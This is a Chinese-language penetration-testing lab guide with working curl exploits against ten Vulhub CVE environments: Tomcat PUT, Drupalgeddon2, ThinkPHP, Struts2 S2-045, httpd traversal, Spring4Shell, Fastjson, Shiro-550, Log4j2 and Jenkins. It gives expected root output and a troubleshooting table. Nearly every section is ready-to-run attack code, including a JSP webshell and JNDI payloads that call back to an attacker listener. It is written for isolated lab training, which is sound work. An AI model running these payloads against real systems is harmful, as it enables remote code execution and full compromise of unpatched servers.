目 录
一、Vulhub 使用规范
二、Web 服务器类:Tomcat/Drupal/ThinkPHP/Struts2/httpd
2.1 Tomcat PUT(CVE-2017-12615):PUT 必须以 / 结尾
2.2 Drupalgeddon2(CVE-2018-7600):# 必须编码
2.3 ThinkPHP 5.x RCE:必须 -G --data-urlencode
2.4 Struts2 S2-045:curl 退出码 56 是正常的
2.5 httpd 路径穿越→CGI RCE:必须 --path-as-is
三、反序列化类:Spring/Fastjson/Shiro/Log4j2/Jenkins
3.1 Spring4Shell(CVE-2022-22965):写日志落 JSP + 编译延迟
3.2 Fastjson:必须多包一层 {"b":{...}}
3.3 Shiro-550:用 openssl 替代 pycryptodome
3.4 Log4j2(CVE-2021-44228):Solr 回 400 正常
3.5 Jenkins CVE-2018-1000861:未授权入口(待补专属文档)
四、踩坑速查大表
五、验收与清场
一、Vulhub 使用规范
Vulhub 是按 CVE 组织的真实组件漏洞环境(本靶场预置 333 套,10 个常驻)。使用纪律三条:按需启停(vulhub-run.sh,用完即停)、一次最多 2 个环境(宿主 7.5G 内存,Weblogic/Nexus 单个就吃 1.5~2G)、自定义端口防冲突。
# 按需起一个环境(示例:Tomcat PUT)
cd /data/vulhub/tomcat/tomcat8 && docker compose up -d
# 常驻环境直接用(10 个,端口 8801~8810 与 8983):
# 8801 Tomcat PUT 8802 Drupalgeddon2 8803 ThinkPHP5 8804 Struts2 S2-045
# 8805 Spring4Shell 8806 httpd 路径穿越 8807 Fastjson 8808 Shiro-550
# 8810 Jenkins CVE-2018-1000861 8983 Solr Log4j2
十个 CVE 的利用按「症状找答案」:很多利用失败不是 payload 错,而是 HTTP 细节(编码、方法、包结构)没对齐。每小节都附实测坑位。
二、Web 服务器类:Tomcat/Drupal/ThinkPHP/Struts2/httpd
2.1 Tomcat PUT(CVE-2017-12615):PUT 必须以 / 结尾
printf "<%out.println(\"TOMCAT_PUT_OK\");%>" > /tmp/1.jsp
curl -s -X PUT --data-binary @/tmp/1.jsp "http://10.10.10.240:8801/1.jsp/" -o /dev/null -w "%{http_code}\n"
curl -s "http://10.10.10.240:8801/1.jsp/" # TOMCAT_PUT_OK
关键:PUT 的 URL 必须以 /1.jsp/ 结尾——Tomcat 用默认 servlet 的只读校验按路径判断,尾斜杠绕过 JSP 处理器直接写盘。漏掉斜杠返回 404 或 405。
2.2 Drupalgeddon2(CVE-2018-7600):# 必须编码
curl -s "http://10.10.10.240:8802/user/register?element_parents=account/mail/%23value\
\&ajax_form=1\&_wrapper_format=drupal_ajax" \
-d "form_id=user_register_form\&_drupal_ajax=1\&mail[a][#post_render][]=exec\
\&mail[a][#type]=markup\&mail[a][#markup]=id"
# 预期(实测):UID=0(root) —— Drupalgeddon2 直接命令执行
关键:payload 里的 # 是 Drupal AJAX 框架的取值语法,必须 URL 编码为 %23——直接发 # 会被当锚点截断。这是「编码层吞掉 payload」的典型案例。
2.3 ThinkPHP 5.x RCE:必须 -G --data-urlencode
curl -s -G "http://10.10.10.240:8803/index.php?s=/Index/\\think\\app/invokefunction" \
--data-urlencode "function=call_user_func_array" \
--data-urlencode "vars[0]=phpinfo" --data-urlencode "vars[1][]=-1" -o /dev/null -w "%{http_code}\n"
# 200 + phpinfo 页面。反斜杠与 [] 若直接拼 URL 必出错,必须由 curl 编码
实测坑:这条路由的 \\think\\ 反斜杠与 vars[1][] 方括号手工拼 URL 时极易错,统一 curl -G + --data-urlencode。
2.4 Struts2 S2-045:curl 退出码 56 是正常的
printf '%%{(#n=\x27multipart/form-data").(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#is=(#context.get(#n)).(#is.setLength(0)).(#is.append(new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c',#cmd}).start().getInputStream()))}.x' > /tmp/s2.hdr
curl -s -H "Content-Type: $(cat /tmp/s2.hdr)" http://10.10.10.240:8804/ -o /tmp/s2.out; echo exit=$?
cat /tmp/s2.out
# 预期:利用成功后响应体为 uid=0(root),但连接被服务器异常关闭
# curl 退出码 56(recv 失败)不代表失败——看输出文件里有没有命令结果
2.5 httpd 路径穿越→CGI RCE:必须 --path-as-is
curl -s --path-as-is "http://10.10.10.240:8806/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh" \
-d "echo; echo HTTPD_RCE_OK; id"
# 预期(实测):HTTPD_RCE_OK / uid=1(daemon)
# 不加 --path-as-is,curl 会把 /../ 归一化掉,请求根本到不了 cgi
实测坑汇总:httpd 的利用要点是「归一化对抗」——.%2e 是编码后的穿越,客户端不归一化才有效。daemon 权限同样说明「CVE 打通 ≠ root」。
三、反序列化类:Spring/Fastjson/Shiro/Log4j2/Jenkins
3.1 Spring4Shell(CVE-2022-22965):写日志落 JSP + 编译延迟
curl -s "http://10.10.10.240:8805/tomcatwar.jsp?pwd=id&cmd=id" -o /dev/null # 先预热一次日志
curl -s "http://10.10.10.240:8805/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" -o /dev/null
sleep 5 # JSP 首次编译有延迟,别立即判定失败
curl -s "http://10.10.10.240:8805/tomcatwar.jsp?pwd=j&cmd=id"
# 预期(实测):uid=0(root)
收工必做:pattern 是全局日志配置,不清掉会把正常访问日志也写成 JSP 内容,持续污染——收尾时把 pattern 复原(发一次空 pattern 请求)。
3.2 Fastjson:必须多包一层 {"b":{...}}
# JNDI 服务端用补丁版 JNDI 工具(监听 8888,原版 8180 与 Tomcat 冲突)
java -jar JNDI-Injection-8888.jar -i 10.10.10.110 &
curl -s -X POST http://10.10.10.240:8807/json -H "Content-Type: application/json" \
-d '{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.10.10.110:8888/Exploit","autoCommit":true}}'
# 返回 500 是正常现象——反序列化在异常抛出前已完成利用,看 JNDI 服务端日志收到连接即成
3.3 Shiro-550:用 openssl 替代 pycryptodome
# 构造 rememberMe Cookie:序列化 payload + AES-CBC 加密(密钥 kPH+bIxk5D2deZiIxcaaaA==)
# Kali 默认无 pycryptodome,openssl 拼 IV+密文更稳(具体脚本见随文附录)
curl -s http://10.10.10.240:8808/ -H "Cookie: rememberMe=<拼接后的base64>" -o /dev/null
# 配合 JRMP 监听收到回连即利用成功
3.4 Log4j2(CVE-2021-44228):Solr 回 400 正常
curl -s "http://10.10.10.240:8983/solr/admin/cores?x=$" -o /dev/null -w "%{http_code}\n"
# 参数任意位置注入 jndi:ldap://10.10.10.110:1389/exp
# Solr 返回 400/异常不等于失败——以 LDAP 服务端是否收到连接为准
3.5 Jenkins CVE-2018-1000861:未授权入口(待补专属文档)
# 8810 未授权入口 + Groovy 编译期绕过 + 命令 hex 编码执行
# 实测已打通(root),但该 CVE 链路较长,本系列后续补充专属实测文档(P0 缺口)
四、踩坑速查大表
症状 | 原因 | 解决 |
PUT 返回 404/405 | URL 缺尾斜杠 | PUT 到 /1.jsp/ 而非 /1.jsp |
Drupal 利用无响应 | # 未编码被当锚点 | element_parents 路径中 %23value |
ThinkPHP 返回 404 | 反斜杠/方括号被 URL 处理破坏 | curl -G + --data-urlencode |
S2-045 明明发了却没回显 | curl 退出码 56 误导 | 以 -o 输出文件内容为准 |
httpd 利用 404 | 客户端归一化掉 /../ | --path-as-is |
Fastjson 返回 500 | 利用后异常抛出 | 正常现象,看 JNDI 端日志 |
JNDI 起不来 | 默认端口 8180 冲突 | 用 JNDI-8888 补丁版,监听 8888 |
Spring 收工后页面全坏 | 日志 pattern 残留 | 复原 pattern(空值请求一次) |
Shiro 加密脚本跑不了 | 缺 pycryptodome | openssl 拼 IV+密文 |
权限盘点(实测):9 个打通环境中 8 个 uid=0(root),httpd 为 daemon、Shiro 落地 tomcat——与第 10 篇的结论呼应:CVE 成功 ≠ root,后渗透动作按 uid 决定。
五、验收与清场
验收标准:Tomcat/Drupal/ThinkPHP/S2-045/httpd/Spring 各拿到命令回显(分别核对 TOMCAT_PUT_OK、UID=0(root)、phpinfo、uid=0、HTTPD_RCE_OK、uid=0);Fastjson/Shiro/Log4j2 以监听端收到连接为成功判据;Jenkins 已打通待补文档。
# 清场:按需环境用完即停
cd /data/vulhub/tomcat/tomcat8 && docker compose down -v
# Spring 收尾复原日志 pattern(空 pattern 请求一次)
curl -s "http://10.10.10.240:8805/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=" -o /dev/null
# Kali:杀 JNDI 监听进程(按 PID)
ps aux | grep JNDI | grep -v grep # 找到 PID 后 kill
# 常驻 CVE 容器保持运行(下次课要用),仅确认无残留文件:
curl -s -o /dev/null -w "%{http_code}" http://10.10.10.240:8801/1.jsp/ # 清掉 1.jsp 后应为 404
十洞打通后,所有「单点」都已练过。下一篇收官:把五阶段串成一次完整演练,并学会用测试报告沉淀结果——渗透测试的最后一环不是 exploit,而是报告。